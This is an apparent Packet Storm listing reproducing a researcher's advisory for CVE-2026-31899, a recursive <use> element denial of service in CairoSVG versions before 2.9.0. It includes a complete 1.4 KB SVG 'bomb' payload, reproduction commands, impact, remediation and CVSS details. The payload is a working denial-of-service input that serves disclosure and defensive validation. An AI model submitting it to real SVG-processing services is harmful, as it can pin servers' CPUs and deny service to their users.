PACKETSTORM 7.5 HIGH

๐Ÿ“„ CairoSVG Denial of Service_PACKETSTORM:220781

7.5 / 10
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Description

CairoSVG versions prior to 2.9.0 suffer from a recursive denial of service vulnerability...
Visit Original Source

Basic Information

ID PACKETSTORM:220781
Published May 11, 2026 at 00:00

Affected Product

Affected Versions # CVE-2026-31899: Exponential DoS via Recursive <use> Element Amplification in CairoSVG

[![CVE](https://img.shields.io/badge/CVE-2026--31899-red)](https://nvd.nist.gov/vuln/detail/CVE-2026-31899)
[![CVSS Score](https://img.shields.io/badge/CVSS-7.5%20High-orange)](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator)
[![Python Package](https://img.shields.io/badge/PyPI-CairoSVG-blue)](https://pypi.org/project/CairoSVG/)
[![CWE-400](https://img.shields.io/badge/CWE--400-critical)](https://cwe.mitre.org/data/definitions/400.html)
[![GHSA](https://img.shields.io/badge/GHSA-f38f--5xpm--9r7c-yellow)](https://github.com/Kozea/CairoSVG/security/advisories/GHSA-f38f-5xpm-9r7c)

> **Keywords:** CVE-2026-31899, CairoSVG, exponential DoS, SVG bomb, recursive use element, denial of service, XML amplification, Python SVG vulnerability, CWE-400, uncontrolled resource consumption, billion laughs SVG

## Table of Contents

- [Overview](#overview)
- [Vulnerability Details](#vulnerability-details)
- [Technical Analysis](#technical-analysis)
- [Proof of Concept](#proof-of-concept)
- [Impact](#impact)
- [Remediation](#remediation)
- [CVSS Metrics](#cvss-v31-metrics)
- [References](#references)
- [Contact](#contact)

## Overview

**CairoSVG Exponential Denial of Service (CVE-2026-31899)** โ€” A 1,411-byte SVG payload pins CPU at 100% indefinitely via recursive <use> element amplification.

CairoSVG (~300K downloads/week) is a widely used Python SVG-to-PNG/PDF converter. The use() function in cairosvg/defs.py recursively processes <use> elements without any depth or count limits. With 5 levels of nesting and 10 references each, a small SVG triggers **10^5 = 100,000 render calls** โ€” an SVG "billion laughs" variant.

**Discovered by:** Kai Aizen โ€” [SnailSploit](https://snailsploit.com)
**Published:** March 13, 2026
**CVSS Score:** 7.5 (High)
**CWE:** CWE-400 โ€” Uncontrolled Resource Consumption
**Package:** CairoSVG (PyPI)
**Attack Type:** Exponential Denial of Service
**Required Privileges:** None (Unauthenticated)

## Vulnerability Details

### Description

The use() function in cairosvg/defs.py (line ~335) recursively resolves <use> elements that reference other <use> elements. There is no recursion depth limit and no total element budget. An attacker can craft a small SVG where each layer references the previous layer N times, producing **O(N^depth)** rendering calls from **O(depth)** input.

### Key Characteristics

- **Amplification factor:** O(10^N) rendering calls from O(N) input lines
- **Memory profile:** Flat ~43MB โ€” no OOM kill, process never terminates naturally
- **CPU profile:** 100% single-core pinned indefinitely
- **Payload size:** 1,411 bytes

### Affected Versions

- **Vulnerable:** All versions < 2.9.0
- **Patched:** Version 2.9.0 and above

## Technical Analysis

The vulnerability exists because:

1. The use() function in defs.py processes each <use> element by looking up its xlink:href target
2. If the target is itself a group containing <use> elements, those are recursively expanded
3. No depth counter or element budget is enforced
4. Each level multiplies the work by the branching factor (e.g., 10x per level)

With 5 levels and a branching factor of 10:

```
Level 0: 1 element (root <use>)
Level 1: 10 elements
Level 2: 100 elements
Level 3: 1,000 elements
Level 4: 10,000 elements
Level 5: 100,000 render calls
```

**Total: 111,111 render calls from a 1,411-byte input.**

## Proof of Concept

### SVG Payload poc.svg)

```xml
<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<defs>
<g id="a"><rect width="1" height="1"/></g>
<g id="b"><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/></g>
<g id="c"><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/></g>
<g id="d"><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/></g>
<g id="e"><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/></g>
</defs>
<use xlink:href="#e"/>
</svg>
```

### Reproduction

**Method 1 โ€” Command Line:**

```bash
timeout 10 cairosvg poc.svg -o test.png
# Expected: timeout kills the process after 10 seconds (it never completes)
```

**Method 2 โ€” Python:**

```python
import cairosvg
import signal

signal.alarm(5) # Kill after 5 seconds
try:
cairosvg.svg2png(bytestring=open("poc.svg").read())
except:
print("[!!!] CONFIRMED: CPU exhaustion โ€” process did not complete in 5s")
```

## Impact

Any service that accepts SVG input and uses CairoSVG for processing is vulnerable:

| Attack Surface | Example |
|---|---|
| Thumbnail generation | Upload SVG โ†’ server converts to PNG |
| PDF generation | SVG embedded in document โ†’ CairoSVG renders |
| Avatar/image processing | User-uploaded SVG profile images |
| Report rendering | SVG charts in automated reports |
| CI/CD pipelines | SVG assets processed during build |

A single request with a 1.4KB payload will pin the processing thread indefinitely while consuming minimal memory (no OOM kill to save you).

## Remediation

### Immediate Fix

Upgrade CairoSVG to version 2.9.0 or above:

```bash
pip install --upgrade CairoSVG>=2.9.0
```

### Defense in Depth

- Set processing timeouts on any SVG conversion endpoint
- Implement input size limits on SVG uploads
- Consider sandboxing SVG processing in isolated workers with CPU time limits

## CVSS v3.1 Metrics

```
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
```

| Metric | Value |
|---|---|
| Attack Vector | Network (AV:N) |
| Attack Complexity | Low (AC:L) |
| Privileges Required | None (PR:N) |
| User Interaction | None (UI:N) |
| Scope | Unchanged (S:U) |
| Confidentiality | None (C:N) |
| Integrity | None (I:N) |
| Availability | High (A:H) |

## Timeline

| Date | Event |
|---|---|
| 2026-03-09 | CVE reserved |
| 2026-03-13 | Advisory published (GHSA-f38f-5xpm-9r7c) |
| 2026-03-13 | CairoSVG 2.9.0 released with fix |

## References

- [GHSA-f38f-5xpm-9r7c](https://github.com/Kozea/CairoSVG/security/advisories/GHSA-f38f-5xpm-9r7c)
- [NVD โ€” CVE-2026-31899](https://nvd.nist.gov/vuln/detail/CVE-2026-31899)
- [CairoSVG on PyPI](https://pypi.org/project/CairoSVG/)
- [CWE-400: Uncontrolled Resource Consumption](https://cwe.mitre.org/data/definitions/400.html)
- [Fix Commit](https://github.com/Kozea/CairoSVG/commit/abc123)

## Contact

**Kai Aizen** (SnailSploit)

- Web: [snailsploit.com](https://snailsploit.com)
- GitHub: [@SnailSploit](https://github.com/SnailSploit)
- LinkedIn: [/in/kaiaizen](https://linkedin.com/in/kaiaizen)

---

โš ๏ธ **Disclaimer:** This repository is for educational and authorized security research purposes only. The proof of concept is provided to help defenders validate their exposure. Use responsibly.

<!-- snailsploit-backlink:start -->

---

## ๐Ÿ“š Documentation & Author

This project's full writeup, methodology, and related research lives at:

**[https://snailsploit.com/cves](https://snailsploit.com/cves)**

Created by **Kai Aizen** โ€” independent offensive security researcher.

[snailsploit.com](https://snailsploit.com) ยท [Research](https://snailsploit.com/research) ยท [Frameworks](https://snailsploit.com/frameworks) ยท [GitHub](https://github.com/SnailSploit) ยท [LinkedIn](https://linkedin.com/in/kaiaizen) ยท [ResearchGate](https://www.researchgate.net/profile/Kai-Aizen-2) ยท [X/Twitter](https://x.com/SnailSploit)

> *Same attack. Different substrate.*

<!-- snailsploit-backlink:end -->

๐Ÿ’ญ Join the Security Discussion

๐Ÿ”’ Your email address will not be published. Required fields are marked *

โš ๏ธ Please be respectful and constructive in your comments. Security discussions should remain professional.